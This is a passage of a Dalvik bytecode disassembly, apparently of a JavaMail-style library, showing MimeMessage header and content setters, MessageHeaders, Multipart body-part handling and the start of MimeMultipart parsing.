000001C4  const-string            v1, " "
000001C8  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v1
000001CE  move-result-object      v1
000001D0  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v0
000001D6  move-result-object      v0
000001D8  invoke-virtual          StringBuilder->toString()String, v0
000001DE  move-result-object      v0
:1E0
000001E0  if-eqz                  v0, :1FA
:1E4
000001E4  const-string            v1, "References"
000001E8  const/16                v2, 0xC
000001EC  invoke-static           MimeUtility->fold(I, String)String, v2, v0
000001F2  move-result-object      v0
000001F4  invoke-virtual          MimeMessage->setHeader(String, String)V, v7, v1, v0
:1FA
000001FA  sget-object             v0, MimeMessage->answeredFlag:Flags
000001FE  const/4                 v1, 0x1
00000200  invoke-virtual          MimeMessage->setFlags(Flags, Z)V, p0, v0, v1
:206
00000206  return-object           v7
:208
00000208  move                    v1, v2
0000020A  goto/16                 :EA
:20E
0000020E  sget-object             v1, Message$RecipientType->TO:Message$RecipientType
00000212  invoke-virtual          MimeMessage->addRecipients(Message$RecipientType, [Address)V, v7, v1, v0
00000218  goto                    :11C
:21A
0000021A  move-exception          v0
0000021C  goto                    :206
:21E
0000021E  move-object             v0, v1
00000220  goto                    :1E0
:222
00000222  move-object             v0, v6
00000224  goto/16                 :D6
:228
00000228  move-object             v0, v6
0000022A  goto/16                 :AC
          .catch MessagingException {:1FA .. :206} :21A
.end method

.method public saveChanges()V
          .registers 2
00000000  const/4                 v0, 0x1
00000002  iput-boolean            v0, p0, MimeMessage->modified:Z
00000006  iput-boolean            v0, p0, MimeMessage->saved:Z
0000000A  invoke-virtual          MimeMessage->updateHeaders()V, p0
00000010  return-void
.end method

.method public setContent(Object, String)V
          .registers 4
00000000  instance-of             v0, p1, Multipart
00000004  if-eqz                  v0, :14
:8
00000008  check-cast              p1, Multipart
0000000C  invoke-virtual          MimeMessage->setContent(Multipart)V, p0, p1
:12
00000012  return-void
:14
00000014  new-instance            v0, DataHandler
00000018  invoke-direct           DataHandler-><init>(Object, String)V, v0, p1, p2
0000001E  invoke-virtual          MimeMessage->setDataHandler(DataHandler)V, p0, v0
00000024  goto                    :12
.end method

.method public setContent(Multipart)V
          .registers 4
00000000  new-instance            v0, DataHandler
00000004  invoke-virtual          Multipart->getContentType()String, p1
0000000A  move-result-object      v1
0000000C  invoke-direct           DataHandler-><init>(Object, String)V, v0, p1, v1
00000012  invoke-virtual          MimeMessage->setDataHandler(DataHandler)V, p0, v0
00000018  invoke-virtual          Multipart->setParent(Part)V, p1, p0
0000001E  return-void
.end method

.method public setContentID(String)V
          .registers 3
00000000  if-nez                  p1, :10
:4
00000004  const-string            v0, "Content-ID"
00000008  invoke-virtual          MimeMessage->removeHeader(String)V, p0, v0
:E
0000000E  return-void
:10
00000010  const-string            v0, "Content-ID"
00000014  invoke-virtual          MimeMessage->setHeader(String, String)V, p0, v0, p1
0000001A  goto                    :E
.end method

.method public setContentLanguage([String)V
          .registers 2
00000000  invoke-static           MimeBodyPart->setContentLanguage(MimePart, [String)V, p0, p1
00000006  return-void
.end method

.method public setContentMD5(String)V
          .registers 3
00000000  const-string            v0, "Content-MD5"
00000004  invoke-virtual          MimeMessage->setHeader(String, String)V, p0, v0, p1
0000000A  return-void
.end method

.method public declared-synchronized setDataHandler(DataHandler)V
          .registers 3
00000000  monitor-enter           p0
:2
00000002  iput-object             p1, p0, MimeMessage->dh:DataHandler
00000006  const/4                 v0, 0x0
00000008  iput-object             v0, p0, MimeMessage->cachedContent:Object
0000000C  invoke-static           MimeBodyPart->invalidateContentHeaders(MimePart)V, p0
:12
00000012  monitor-exit            p0
00000014  return-void
:16
00000016  move-exception          v0
00000018  monitor-exit            p0
0000001A  throw                   v0
          .catchall {:2 .. :12} :16
.end method

.method public setDescription(String)V
          .registers 3
00000000  const/4                 v0, 0x0
00000002  invoke-virtual          MimeMessage->setDescription(String, String)V, p0, p1, v0
00000008  return-void
.end method

.method public setDescription(String, String)V
          .registers 3
00000000  invoke-static           MimeBodyPart->setDescription(MimePart, String, String)V, p0, p1, p2
00000006  return-void
.end method

.method public setDisposition(String)V
          .registers 2
00000000  invoke-static           MimeBodyPart->setDisposition(MimePart, String)V, p0, p1
00000006  return-void
.end method

.method public setFileName(String)V
          .registers 2
00000000  invoke-static           MimeBodyPart->setFileName(MimePart, String)V, p0, p1
00000006  return-void
.end method

.method public declared-synchronized setFlags(Flags, Z)V
          .registers 4
00000000  monitor-enter           p0
00000002  if-eqz                  p2, :14
:6
00000006  iget-object             v0, p0, MimeMessage->flags:Flags
0000000A  invoke-virtual          Flags->add(Flags)V, v0, p1
:10
00000010  monitor-exit            p0
00000012  return-void
:14
00000014  iget-object             v0, p0, MimeMessage->flags:Flags
00000018  invoke-virtual          Flags->remove(Flags)V, v0, p1
:1E
0000001E  goto                    :10
:20
00000020  move-exception          v0
00000022  monitor-exit            p0
00000024  throw                   v0
          .catchall {:6 .. :10} :20
          .catchall {:14 .. :1E} :20
.end method

.method public setFrom()V
          .registers 3
00000000  iget-object             v0, p0, MimeMessage->session:Session
00000004  invoke-static           InternetAddress->getLocalAddress(Session)InternetAddress, v0
0000000A  move-result-object      v0
0000000C  if-eqz                  v0, :18
:10
00000010  invoke-virtual          MimeMessage->setFrom(Address)V, p0, v0
00000016  return-void
:18
00000018  new-instance            v0, MessagingException
0000001C  const-string            v1, "No From address"
00000020  invoke-direct           MessagingException-><init>(String)V, v0, v1
00000026  throw                   v0
.end method

.method public setFrom(Address)V
          .registers 4
00000000  if-nez                  p1, :10
:4
00000004  const-string            v0, "From"
00000008  invoke-virtual          MimeMessage->removeHeader(String)V, p0, v0
:E
0000000E  return-void
:10
00000010  const-string            v0, "From"
00000014  invoke-virtual          Address->toString()String, p1
0000001A  move-result-object      v1
0000001C  invoke-virtual          MimeMessage->setHeader(String, String)V, p0, v0, v1
00000022  goto                    :E
.end method

.method public setHeader(String, String)V
          .registers 4
00000000  iget-object             v0, p0, MimeMessage->headers:InternetHeaders
00000004  invoke-virtual          InternetHeaders->setHeader(String, String)V, v0, p1, p2
0000000A  return-void
.end method

.method public setRecipients(Message$RecipientType, String)V
          .registers 5
00000000  sget-object             v0, MimeMessage$RecipientType->NEWSGROUPS:MimeMessage$RecipientType
00000004  if-ne                   p1, v0, :30
:8
00000008  if-eqz                  p2, :18
:C
0000000C  invoke-virtual          String->length()I, p2
00000012  move-result             v0
00000014  if-nez                  v0, :24
:18
00000018  const-string            v0, "Newsgroups"
0000001C  invoke-virtual          MimeMessage->removeHeader(String)V, p0, v0
:22
00000022  return-void
:24
00000024  const-string            v0, "Newsgroups"
00000028  invoke-virtual          MimeMessage->setHeader(String, String)V, p0, v0, p2
0000002E  goto                    :22
:30
00000030  invoke-direct           MimeMessage->getHeaderName(Message$RecipientType)String, p0, p1
00000036  move-result-object      v0
00000038  invoke-static           InternetAddress->parse(String)[InternetAddress, p2
0000003E  move-result-object      v1
00000040  invoke-direct           MimeMessage->setAddressHeader(String, [Address)V, p0, v0, v1
00000046  goto                    :22
.end method

.method public setRecipients(Message$RecipientType, [Address)V
          .registers 5
00000000  sget-object             v0, MimeMessage$RecipientType->NEWSGROUPS:MimeMessage$RecipientType
00000004  if-ne                   p1, v0, :32
:8
00000008  if-eqz                  p2, :12
:C
0000000C  array-length            v0, p2
0000000E  if-nez                  v0, :1E
:12
00000012  const-string            v0, "Newsgroups"
00000016  invoke-virtual          MimeMessage->removeHeader(String)V, p0, v0
:1C
0000001C  return-void
:1E
0000001E  const-string            v0, "Newsgroups"
00000022  invoke-static           NewsAddress->toString([Address)String, p2
00000028  move-result-object      v1
0000002A  invoke-virtual          MimeMessage->setHeader(String, String)V, p0, v0, v1
00000030  goto                    :1C
:32
00000032  invoke-direct           MimeMessage->getHeaderName(Message$RecipientType)String, p0, p1
00000038  move-result-object      v0
0000003A  invoke-direct           MimeMessage->setAddressHeader(String, [Address)V, p0, v0, p2
00000040  goto                    :1C
.end method

.method public setReplyTo([Address)V
          .registers 3
00000000  const-string            v0, "Reply-To"
00000004  invoke-direct           MimeMessage->setAddressHeader(String, [Address)V, p0, v0, p1
0000000A  return-void
.end method

.method public setSender(Address)V
          .registers 4
00000000  if-nez                  p1, :10
:4
00000004  const-string            v0, "Sender"
00000008  invoke-virtual          MimeMessage->removeHeader(String)V, p0, v0
:E
0000000E  return-void
:10
00000010  const-string            v0, "Sender"
00000014  invoke-virtual          Address->toString()String, p1
0000001A  move-result-object      v1
0000001C  invoke-virtual          MimeMessage->setHeader(String, String)V, p0, v0, v1
00000022  goto                    :E
.end method

.method public setSentDate(Date)V
          .registers 5
00000000  if-nez                  p1, :10
:4
00000004  const-string            v0, "Date"
00000008  invoke-virtual          MimeMessage->removeHeader(String)V, p0, v0
:E
0000000E  return-void
:10
00000010  sget-object             v1, MimeMessage->mailDateFormat:MailDateFormat
00000014  monitor-enter           v1
:16
00000016  const-string            v0, "Date"
0000001A  sget-object             v2, MimeMessage->mailDateFormat:MailDateFormat
0000001E  invoke-virtual          MailDateFormat->format(Date)String, v2, p1
00000024  move-result-object      v2
00000026  invoke-virtual          MimeMessage->setHeader(String, String)V, p0, v0, v2
0000002C  monitor-exit            v1
0000002E  goto                    :E
:30
00000030  move-exception          v0
00000032  monitor-exit            v1
:34
00000034  throw                   v0
          .catchall {:16 .. :34} :30
.end method

.method public setSubject(String)V
          .registers 3
00000000  const/4                 v0, 0x0
00000002  invoke-virtual          MimeMessage->setSubject(String, String)V, p0, p1, v0
00000008  return-void
.end method

.method public setSubject(String, String)V
          .registers 6
00000000  if-nez                  p1, :10
:4
00000004  const-string            v0, "Subject"
00000008  invoke-virtual          MimeMessage->removeHeader(String)V, p0, v0
:E
0000000E  return-void
:10
00000010  const-string            v0, "Subject"
00000014  const/16                v1, 0x9
00000018  const/4                 v2, 0x0
0000001A  invoke-static           MimeUtility->encodeText(String, String, String)String, p1, p2, v2
00000020  move-result-object      v2
00000022  invoke-static           MimeUtility->fold(I, String)String, v1, v2
00000028  move-result-object      v1
0000002A  invoke-virtual          MimeMessage->setHeader(String, String)V, p0, v0, v1
:30
00000030  goto                    :E
:32
00000032  move-exception          v0
00000034  new-instance            v1, MessagingException
00000038  const-string            v2, "Encoding error"
0000003C  invoke-direct           MessagingException-><init>(String, Exception)V, v1, v2, v0
00000042  throw                   v1
          .catch UnsupportedEncodingException {:10 .. :30} :32
.end method

.method public setText(String)V
          .registers 3
00000000  const/4                 v0, 0x0
00000002  invoke-virtual          MimeMessage->setText(String, String)V, p0, p1, v0
00000008  return-void
.end method

.method public setText(String, String)V
          .registers 4
00000000  const-string            v0, "plain"
00000004  invoke-static           MimeBodyPart->setText(MimePart, String, String, String)V, p0, p1, p2, v0
0000000A  return-void
.end method

.method public setText(String, String, String)V
          .registers 4
00000000  invoke-static           MimeBodyPart->setText(MimePart, String, String, String)V, p0, p1, p2, p3
00000006  return-void
.end method

.method protected updateHeaders()V
          .registers 5
00000000  const/4                 v3, 0x0
00000002  invoke-static           MimeBodyPart->updateHeaders(MimePart)V, p0
00000008  const-string            v0, "MIME-Version"
0000000C  const-string            v1, "1.0"
00000010  invoke-virtual          MimeMessage->setHeader(String, String)V, p0, v0, v1
00000016  invoke-virtual          MimeMessage->updateMessageID()V, p0
0000001C  iget-object             v0, p0, MimeMessage->cachedContent:Object
00000020  if-eqz                  v0, :5C
:24
00000024  new-instance            v0, DataHandler
00000028  iget-object             v1, p0, MimeMessage->cachedContent:Object
0000002C  invoke-virtual          MimeMessage->getContentType()String, p0
00000032  move-result-object      v2
00000034  invoke-direct           DataHandler-><init>(Object, String)V, v0, v1, v2
0000003A  iput-object             v0, p0, MimeMessage->dh:DataHandler
0000003E  iput-object             v3, p0, MimeMessage->cachedContent:Object
00000042  iput-object             v3, p0, MimeMessage->content:[B
00000046  iget-object             v0, p0, MimeMessage->contentStream:InputStream
0000004A  if-eqz                  v0, :58
:4E
0000004E  iget-object             v0, p0, MimeMessage->contentStream:InputStream
00000052  invoke-virtual          InputStream->close()V, v0
:58
00000058  iput-object             v3, p0, MimeMessage->contentStream:InputStream
:5C
0000005C  return-void
:5E
0000005E  move-exception          v0
00000060  goto                    :58
          .catch IOException {:4E .. :58} :5E
.end method

.method protected updateMessageID()V
          .registers 4
00000000  const-string            v0, "Message-ID"
00000004  new-instance            v1, StringBuilder
00000008  const-string            v2, "<"
0000000C  invoke-direct           StringBuilder-><init>(String)V, v1, v2
00000012  iget-object             v2, p0, MimeMessage->session:Session
00000016  invoke-static           UniqueValue->getUniqueMessageIDValue(Session)String, v2
0000001C  move-result-object      v2
0000001E  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
00000024  move-result-object      v1
00000026  const-string            v2, ">"
0000002A  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
00000030  move-result-object      v1
00000032  invoke-virtual          StringBuilder->toString()String, v1
00000038  move-result-object      v1
0000003A  invoke-virtual          MimeMessage->setHeader(String, String)V, p0, v0, v1
00000040  return-void
.end method

.method public writeTo(OutputStream)V
          .registers 3
00000000  const/4                 v0, 0x0
00000002  invoke-virtual          MimeMessage->writeTo(OutputStream, [String)V, p0, p1, v0
00000008  return-void
.end method

.method public writeTo(OutputStream, [String)V
          .registers 7
00000000  iget-boolean            v0, p0, MimeMessage->saved:Z
00000004  if-nez                  v0, :E
:8
00000008  invoke-virtual          MimeMessage->saveChanges()V, p0
:E
0000000E  iget-boolean            v0, p0, MimeMessage->modified:Z
00000012  if-eqz                  v0, :1E
:16
00000016  invoke-static           MimeBodyPart->writeTo(MimePart, OutputStream, [String)V, p0, p1, p2
:1C
0000001C  return-void
:1E
0000001E  invoke-virtual          MimeMessage->getNonMatchingHeaderLines([String)Enumeration, p0, p2
00000024  move-result-object      v1
00000026  new-instance            v2, LineOutputStream
0000002A  invoke-direct           LineOutputStream-><init>(OutputStream)V, v2, p1
:30
00000030  invoke-interface        Enumeration->hasMoreElements()Z, v1
00000036  move-result             v0
00000038  if-nez                  v0, :7A
:3C
0000003C  invoke-virtual          LineOutputStream->writeln()V, v2
00000042  iget-object             v0, p0, MimeMessage->content:[B
00000046  if-nez                  v0, :98
:4A
0000004A  invoke-virtual          MimeMessage->getContentStream()InputStream, p0
00000050  move-result-object      v0
00000052  const/16                v1, 0x2000
00000056  new-array               v1, v1, [B
:5A
0000005A  invoke-virtual          InputStream->read([B)I, v0, v1
00000060  move-result             v2
00000062  if-gtz                  v2, :8E
:66
00000066  invoke-virtual          InputStream->close()V, v0
0000006C  const/4                 v0, 0x0
0000006E  check-cast              v0, [B
:72
00000072  invoke-virtual          OutputStream->flush()V, p1
00000078  goto                    :1C
:7A
0000007A  invoke-interface        Enumeration->nextElement()Object, v1
00000080  move-result-object      v0
00000082  check-cast              v0, String
00000086  invoke-virtual          LineOutputStream->writeln(String)V, v2, v0
0000008C  goto                    :30
:8E
0000008E  const/4                 v3, 0x0
00000090  invoke-virtual          OutputStream->write([B, I, I)V, p1, v1, v3, v2
00000096  goto                    :5A
:98
00000098  iget-object             v0, p0, MimeMessage->content:[B
0000009C  invoke-virtual          OutputStream->write([B)V, p1, v0
000000A2  goto                    :72
.end method

#--------------------------------------------------------------------------------
.class public MessageHeaders
.super MimeMessage
.source ""

.method public constructor <init>()V
          .registers 2
00000000  const/4                 v0, 0x0
00000002  invoke-direct           MimeMessage-><init>(Session)V, p0, v0
00000008  const/4                 v0, 0x0
0000000A  new-array               v0, v0, [B
0000000E  iput-object             v0, p0, MessageHeaders->content:[B
00000012  return-void
.end method

.method public constructor <init>(InputStream)V
          .registers 3
00000000  const/4                 v0, 0x0
00000002  invoke-direct           MimeMessage-><init>(Session, InputStream)V, p0, v0, p1
00000008  const/4                 v0, 0x0
0000000A  new-array               v0, v0, [B
0000000E  iput-object             v0, p0, MessageHeaders->content:[B
00000012  return-void
.end method

.method public constructor <init>(InternetHeaders)V
          .registers 3
00000000  const/4                 v0, 0x0
00000002  invoke-direct           MimeMessage-><init>(Session)V, p0, v0
00000008  iput-object             p1, p0, MessageHeaders->headers:InternetHeaders
0000000C  const/4                 v0, 0x0
0000000E  new-array               v0, v0, [B
00000012  iput-object             v0, p0, MessageHeaders->content:[B
00000016  return-void
.end method

.method protected getContentStream()InputStream
          .registers 3
00000000  new-instance            v0, ByteArrayInputStream
00000004  iget-object             v1, p0, MessageHeaders->content:[B
00000008  invoke-direct           ByteArrayInputStream-><init>([B)V, v0, v1
0000000E  return-object           v0
.end method

.method public getInputStream()InputStream
          .registers 3
00000000  new-instance            v0, ByteArrayInputStream
00000004  iget-object             v1, p0, MessageHeaders->content:[B
00000008  invoke-direct           ByteArrayInputStream-><init>([B)V, v0, v1
0000000E  return-object           v0
.end method

.method public getSize()I
          .registers 2
00000000  const/4                 v0, 0x0
00000002  return                  v0
.end method

.method public setDataHandler(DataHandler)V
          .registers 4
00000000  new-instance            v0, MessagingException
00000004  const-string            v1, "Can\'t set content for MessageHeaders"
00000008  invoke-direct           MessagingException-><init>(String)V, v0, v1
0000000E  throw                   v0
.end method

#--------------------------------------------------------------------------------
.class public abstract Multipart
.super Object
.source ""

.field protected contentType:String
.field protected parent:Part
.field protected parts:Vector

.method protected constructor <init>()V
          .registers 2
00000000  invoke-direct           Object-><init>()V, p0
00000006  new-instance            v0, Vector
0000000A  invoke-direct           Vector-><init>()V, v0
00000010  iput-object             v0, p0, Multipart->parts:Vector
00000014  const-string            v0, "multipart/mixed"
00000018  iput-object             v0, p0, Multipart->contentType:String
0000001C  return-void
.end method

.method public declared-synchronized addBodyPart(BodyPart)V
          .registers 3
00000000  monitor-enter           p0
:2
00000002  iget-object             v0, p0, Multipart->parts:Vector
00000006  if-nez                  v0, :18
:A
0000000A  new-instance            v0, Vector
0000000E  invoke-direct           Vector-><init>()V, v0
00000014  iput-object             v0, p0, Multipart->parts:Vector
:18
00000018  iget-object             v0, p0, Multipart->parts:Vector
0000001C  invoke-virtual          Vector->addElement(Object)V, v0, p1
00000022  invoke-virtual          BodyPart->setParent(Multipart)V, p1, p0
:28
00000028  monitor-exit            p0
0000002A  return-void
:2C
0000002C  move-exception          v0
0000002E  monitor-exit            p0
00000030  throw                   v0
          .catchall {:2 .. :28} :2C
.end method

.method public declared-synchronized addBodyPart(BodyPart, I)V
          .registers 4
00000000  monitor-enter           p0
:2
00000002  iget-object             v0, p0, Multipart->parts:Vector
00000006  if-nez                  v0, :18
:A
0000000A  new-instance            v0, Vector
0000000E  invoke-direct           Vector-><init>()V, v0
00000014  iput-object             v0, p0, Multipart->parts:Vector
:18
00000018  iget-object             v0, p0, Multipart->parts:Vector
0000001C  invoke-virtual          Vector->insertElementAt(Object, I)V, v0, p1, p2
00000022  invoke-virtual          BodyPart->setParent(Multipart)V, p1, p0
:28
00000028  monitor-exit            p0
0000002A  return-void
:2C
0000002C  move-exception          v0
0000002E  monitor-exit            p0
00000030  throw                   v0
          .catchall {:2 .. :28} :2C
.end method

.method public declared-synchronized getBodyPart(I)BodyPart
          .registers 4
00000000  monitor-enter           p0
:2
00000002  iget-object             v0, p0, Multipart->parts:Vector
00000006  if-nez                  v0, :20
:A
0000000A  new-instance            v0, IndexOutOfBoundsException
0000000E  const-string            v1, "No such BodyPart"
00000012  invoke-direct           IndexOutOfBoundsException-><init>(String)V, v0, v1
00000018  throw                   v0
:1A
0000001A  move-exception          v0
0000001C  monitor-exit            p0
0000001E  throw                   v0
:20
00000020  iget-object             v0, p0, Multipart->parts:Vector
00000024  invoke-virtual          Vector->elementAt(I)Object, v0, p1
0000002A  move-result-object      v0
0000002C  check-cast              v0, BodyPart
:30
00000030  monitor-exit            p0
00000032  return-object           v0
          .catchall {:2 .. :1A} :1A
          .catchall {:20 .. :30} :1A
.end method

.method public getContentType()String
          .registers 2
00000000  iget-object             v0, p0, Multipart->contentType:String
00000004  return-object           v0
.end method

.method public declared-synchronized getCount()I
          .registers 2
00000000  monitor-enter           p0
:2
00000002  iget-object             v0, p0, Multipart->parts:Vector
:6
00000006  if-nez                  v0, :10
:A
0000000A  const/4                 v0, 0x0
:C
0000000C  monitor-exit            p0
0000000E  return                  v0
:10
00000010  iget-object             v0, p0, Multipart->parts:Vector
00000014  invoke-virtual          Vector->size()I, v0
:1A
0000001A  move-result             v0
0000001C  goto                    :C
:1E
0000001E  move-exception          v0
00000020  monitor-exit            p0
00000022  throw                   v0
          .catchall {:2 .. :6} :1E
          .catchall {:10 .. :1A} :1E
.end method

.method public declared-synchronized getParent()Part
          .registers 2
00000000  monitor-enter           p0
:2
00000002  iget-object             v0, p0, Multipart->parent:Part
:6
00000006  monitor-exit            p0
00000008  return-object           v0
:A
0000000A  move-exception          v0
0000000C  monitor-exit            p0
0000000E  throw                   v0
          .catchall {:2 .. :6} :A
.end method

.method public declared-synchronized removeBodyPart(I)V
          .registers 4
00000000  monitor-enter           p0
:2
00000002  iget-object             v0, p0, Multipart->parts:Vector
00000006  if-nez                  v0, :20
:A
0000000A  new-instance            v0, IndexOutOfBoundsException
0000000E  const-string            v1, "No such BodyPart"
00000012  invoke-direct           IndexOutOfBoundsException-><init>(String)V, v0, v1
00000018  throw                   v0
:1A
0000001A  move-exception          v0
0000001C  monitor-exit            p0
0000001E  throw                   v0
:20
00000020  iget-object             v0, p0, Multipart->parts:Vector
00000024  invoke-virtual          Vector->elementAt(I)Object, v0, p1
0000002A  move-result-object      v0
0000002C  check-cast              v0, BodyPart
00000030  iget-object             v1, p0, Multipart->parts:Vector
00000034  invoke-virtual          Vector->removeElementAt(I)V, v1, p1
0000003A  const/4                 v1, 0x0
0000003C  invoke-virtual          BodyPart->setParent(Multipart)V, v0, v1
:42
00000042  monitor-exit            p0
00000044  return-void
          .catchall {:2 .. :1A} :1A
          .catchall {:20 .. :42} :1A
.end method

.method public declared-synchronized removeBodyPart(BodyPart)Z
          .registers 4
00000000  monitor-enter           p0
:2
00000002  iget-object             v0, p0, Multipart->parts:Vector
00000006  if-nez                  v0, :20
:A
0000000A  new-instance            v0, MessagingException
0000000E  const-string            v1, "No such body part"
00000012  invoke-direct           MessagingException-><init>(String)V, v0, v1
00000018  throw                   v0
:1A
0000001A  move-exception          v0
0000001C  monitor-exit            p0
0000001E  throw                   v0
:20
00000020  iget-object             v0, p0, Multipart->parts:Vector
00000024  invoke-virtual          Vector->removeElement(Object)Z, v0, p1
0000002A  move-result             v0
0000002C  const/4                 v1, 0x0
0000002E  invoke-virtual          BodyPart->setParent(Multipart)V, p1, v1
:34
00000034  monitor-exit            p0
00000036  return                  v0
          .catchall {:2 .. :1A} :1A
          .catchall {:20 .. :34} :1A
.end method

.method protected declared-synchronized setMultipartDataSource(MultipartDataSource)V
          .registers 5
00000000  monitor-enter           p0
:2
00000002  invoke-interface        MultipartDataSource->getContentType()String, p1
00000008  move-result-object      v0
0000000A  iput-object             v0, p0, Multipart->contentType:String
0000000E  invoke-interface        MultipartDataSource->getCount()I, p1
:14
00000014  move-result             v1
00000016  const/4                 v0, 0x0
:18
00000018  if-lt                   v0, v1, :20
:1C
0000001C  monitor-exit            p0
0000001E  return-void
:20
00000020  invoke-interface        MultipartDataSource->getBodyPart(I)BodyPart, p1, v0
00000026  move-result-object      v2
00000028  invoke-virtual          Multipart->addBodyPart(BodyPart)V, p0, v2
:2E
0000002E  add-int/lit8            v0, v0, 0x1
00000032  goto                    :18
:34
00000034  move-exception          v0
00000036  monitor-exit            p0
00000038  throw                   v0
          .catchall {:2 .. :14} :34
          .catchall {:20 .. :2E} :34
.end method

.method public declared-synchronized setParent(Part)V
          .registers 3
00000000  monitor-enter           p0
:2
00000002  iput-object             p1, p0, Multipart->parent:Part
:6
00000006  monitor-exit            p0
00000008  return-void
:A
0000000A  move-exception          v0
0000000C  monitor-exit            p0
0000000E  throw                   v0
          .catchall {:2 .. :6} :A
.end method

.method public abstract writeTo(OutputStream)V
.end method

#--------------------------------------------------------------------------------
.class public MimeMultipart
.super Multipart
.source ""

.field private static bmparse:Z
.field private static ignoreMissingBoundaryParameter:Z
.field private static ignoreMissingEndBoundary:Z
.field private complete:Z
.field protected ds:DataSource
.field protected parsed:Z
.field private preamble:String

.method static constructor <clinit>()V
          .registers 4
00000000  const/4                 v0, 0x0
00000002  const/4                 v1, 0x1
00000004  sput-boolean            v1, MimeMultipart->ignoreMissingEndBoundary:Z
00000008  sput-boolean            v1, MimeMultipart->ignoreMissingBoundaryParameter:Z
0000000C  sput-boolean            v1, MimeMultipart->bmparse:Z
:10
00000010  const-string            v2, "mail.mime.multipart.ignoremissingendboundary"
00000014  invoke-static           System->getProperty(String)String, v2
0000001A  move-result-object      v2
0000001C  if-eqz                  v2, :82
:20
00000020  const-string            v3, "false"
00000024  invoke-virtual          String->equalsIgnoreCase(String)Z, v2, v3
0000002A  move-result             v2
0000002C  if-eqz                  v2, :82
:30
00000030  move                    v2, v0
:32
00000032  sput-boolean            v2, MimeMultipart->ignoreMissingEndBoundary:Z
00000036  const-string            v2, "mail.mime.multipart.ignoremissingboundaryparameter"
0000003A  invoke-static           System->getProperty(String)String, v2
00000040  move-result-object      v2
00000042  if-eqz                  v2, :86
:46
00000046  const-string            v3, "false"
0000004A  invoke-virtual          String->equalsIgnoreCase(String)Z, v2, v3
00000050  move-result             v2
00000052  if-eqz                  v2, :86
:56
00000056  move                    v2, v0
:58
00000058  sput-boolean            v2, MimeMultipart->ignoreMissingBoundaryParameter:Z
0000005C  const-string            v2, "mail.mime.multipart.bmparse"
00000060  invoke-static           System->getProperty(String)String, v2
00000066  move-result-object      v2
00000068  if-eqz                  v2, :8A
:6C
0000006C  const-string            v3, "false"
00000070  invoke-virtual          String->equalsIgnoreCase(String)Z, v2, v3
00000076  move-result             v2
00000078  if-eqz                  v2, :8A
:7C
0000007C  sput-boolean            v0, MimeMultipart->bmparse:Z
:80
00000080  return-void
:82
00000082  move                    v2, v1
00000084  goto                    :32
:86
00000086  move                    v2, v1
00000088  goto                    :58
:8A
0000008A  move                    v0, v1
0000008C  goto                    :7C
:8E
0000008E  move-exception          v0
00000090  goto                    :80
          .catch SecurityException {:10 .. :80} :8E
.end method

.method public constructor <init>()V
          .registers 2
00000000  const-string            v0, "mixed"
00000004  invoke-direct           MimeMultipart-><init>(String)V, p0, v0
0000000A  return-void
.end method

.method public constructor <init>(String)V
          .registers 6
00000000  const/4                 v0, 0x1
00000002  const/4                 v3, 0x0
00000004  invoke-direct           Multipart-><init>()V, p0
0000000A  iput-object             v3, p0, MimeMultipart->ds:DataSource
0000000E  iput-boolean            v0, p0, MimeMultipart->parsed:Z
00000012  iput-boolean            v0, p0, MimeMultipart->complete:Z
00000016  iput-object             v3, p0, MimeMultipart->preamble:String
0000001A  invoke-static           UniqueValue->getUniqueBoundaryValue()String
00000020  move-result-object      v0
00000022  new-instance            v1, ContentType
00000026  const-string            v2, "multipart"
0000002A  invoke-direct           ContentType-><init>(String, String, ParameterList)V, v1, v2, p1, v3
00000030  const-string            v2, "boundary"
00000034  invoke-virtual          ContentType->setParameter(String, String)V, v1, v2, v0
0000003A  invoke-virtual          ContentType->toString()String, v1
00000040  move-result-object      v0
00000042  iput-object             v0, p0, MimeMultipart->contentType:String
00000046  return-void
.end method

.method public constructor <init>(DataSource)V
          .registers 4
00000000  const/4                 v1, 0x0
00000002  const/4                 v0, 0x1
00000004  invoke-direct           Multipart-><init>()V, p0
0000000A  iput-object             v1, p0, MimeMultipart->ds:DataSource
0000000E  iput-boolean            v0, p0, MimeMultipart->parsed:Z
00000012  iput-boolean            v0, p0, MimeMultipart->complete:Z
00000016  iput-object             v1, p0, MimeMultipart->preamble:String
0000001A  instance-of             v0, p1, MessageAware
0000001E  if-eqz                  v0, :3E
:22
00000022  move-object             v0, p1
00000024  check-cast              v0, MessageAware
00000028  invoke-interface        MessageAware->getMessageContext()MessageContext, v0
0000002E  move-result-object      v0
00000030  invoke-virtual          MessageContext->getPart()Part, v0
00000036  move-result-object      v0
00000038  invoke-virtual          MimeMultipart->setParent(Part)V, p0, v0
:3E
0000003E  instance-of             v0, p1, MultipartDataSource
00000042  if-eqz                  v0, :52
:46
00000046  check-cast              p1, MultipartDataSource
0000004A  invoke-virtual          MimeMultipart->setMultipartDataSource(MultipartDataSource)V, p0, p1
:50
00000050  return-void
:52
00000052  const/4                 v0, 0x0
00000054  iput-boolean            v0, p0, MimeMultipart->parsed:Z
00000058  iput-object             p1, p0, MimeMultipart->ds:DataSource
0000005C  invoke-interface        DataSource->getContentType()String, p1
00000062  move-result-object      v0
00000064  iput-object             v0, p0, MimeMultipart->contentType:String
00000068  goto                    :50
.end method

.method private declared-synchronized parsebm()V
          .registers 28
00000000  monitor-enter           p0
:2
00000002  move-object/from16      v0, p0
00000006  iget-boolean            v2, v0, MimeMultipart->parsed:Z
:A
0000000A  if-eqz                  v2, :12
:E
0000000E  monitor-exit            p0
00000010  return-void
:12
00000012  const/4                 v2, 0x0
00000014  const-wide/16           v4, 0x0
00000018  const-wide/16           v9, 0x0
:1C
0000001C  move-object/from16      v0, p0
00000020  iget-object             v3, v0, MimeMultipart->ds:DataSource
00000024  invoke-interface        DataSource->getInputStream()InputStream, v3
0000002A  move-result-object      v6
0000002C  instance-of             v3, v6, ByteArrayInputStream
00000030  if-nez                  v3, :698
:34
00000034  instance-of             v3, v6, BufferedInputStream
00000038  if-nez                  v3, :698
:3C
0000003C  instance-of             v3, v6, SharedInputStream
00000040  if-nez                  v3, :698
:44
00000044  new-instance            v3, BufferedInputStream
00000048  invoke-direct           BufferedInputStream-><init>(InputStream)V, v3, v6
:4E
0000004E  instance-of             v6, v3, SharedInputStream
00000052  if-eqz                  v6, :690
:56
00000056  move-object             v0, v3
00000058  check-cast              v0, SharedInputStream
0000005C  move-object             v2, v0
0000005E  move-object/from16      v17, v2
:62
00000062  new-instance            v2, ContentType
